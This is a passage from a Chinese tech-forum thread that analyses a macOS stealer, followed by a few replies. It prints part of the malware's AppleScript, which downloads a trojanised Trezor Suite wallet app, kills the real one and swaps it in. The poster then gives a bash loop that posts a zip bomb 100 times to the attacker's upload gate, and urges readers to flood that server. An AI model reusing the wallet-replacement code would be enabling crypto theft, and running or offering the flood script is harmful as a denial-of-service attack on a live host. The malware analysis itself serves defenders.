  471.         do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of TREZORURL & " -o " & quoted form of TREZORDMGPATH
  472.         do shell script "unzip -q -o " & quoted form of TREZORDMGPATH & " -d " & quoted form of TREZORMOUNT
  473.         set app_exists to false
  474.         try
  475.             do shell script "test -e " & quoted form of TREZORPATH
  476.             set app_exists to true
  477.         end try

  478.         if app_exists then
  479.             try
  480.                 do shell script "killall -9 'Trezor Suite'"
  481.             end try
  482.             do shell script "rm -rf " & quoted form of TREZORDEST
  483.             do shell script "cp -R " & quoted form of TREZORPATH & " " & quoted form of TREZORAPPFOLDER
  484.         end if
  485.     end try

  486.     try
  487.         do shell script "rm -rf " & quoted form of TREZORDMGPATH
  488.         do shell script "rm -rf " & quoted form of TREZORPATH
  489.     end try
  490. end if
复制代码
收起

然后收集电脑内的各种信息最后发送出去,并清理痕迹。
有机器的奶油可以多给喂点数据,撑爆他的服务器!!

以下是最终上传收集到的压缩包 curl 做成了一个 shell 脚本
  1. #!/bin/bash

  2. # 循环执行 100 次 POST 请求,每次间隔 1 秒
  3. for i in {1..100}; do
  4.   echo "第 $i 次请求开始..."
  5.   curl -k -X POST \
  6.     -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
  7.     -H "api-key: 5190ef1733183a0dc63fb623357f56d6" \
  8.     -H "cl: 0" \
  9.     --max-time 300 \
  10.     -F "file=@/tmp/osalogging.zip" \
  11.     -F "buildtxd=0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f" \
  12.     "http://elfrodbloom.city/gate"
  13.   echo "第 $i 次请求结束,等待 1 秒..."
  14.   sleep 1  # 间隔 1 秒
  15. done

  16. echo "100 次请求全部完成"
复制代码

这里有压缩炸弹可以下载:https://www.bamsoftware.com/hacks/zipbomb/zblg.zip
将下载下来的压缩炸弹上传到恶意服务器等他解压,自己本地可不要解压,然后将下载的压缩炸弹改名为“osalogging.zip”,再将上面的 curl 中/tmp/osalogging.zip替换为实际压缩炸弹路径就行,有机器是 linux 或者 macos 的没事挂着就行,撑爆他!!
爱生活,爱奶昔~
回复

使用道具 举报

发表于 2025-11-24 17:21:48 | 查看全部
额,之前还去这个站下过app呢,不过我现在都去macked下了
爱生活,爱奶昔~
发表于 7 天前 | 查看全部
这个我之前好像在其他地方也看到过,https://www.cybermania.ws/apps/adobe-genp/这个站点,当时就疑惑,后期被软路由按照异常流量拦截了
爱生活,爱奶昔~
您需要登录后才可以回帖 登录 | 注册

本版积分规则

© 2025 Naixi Networks. 沪ICP备13020230号-1|沪公网安备 31010702007642号手机版小黑屋RSS
返回顶部 关灯 在本版发帖
快速回复 返回顶部 返回列表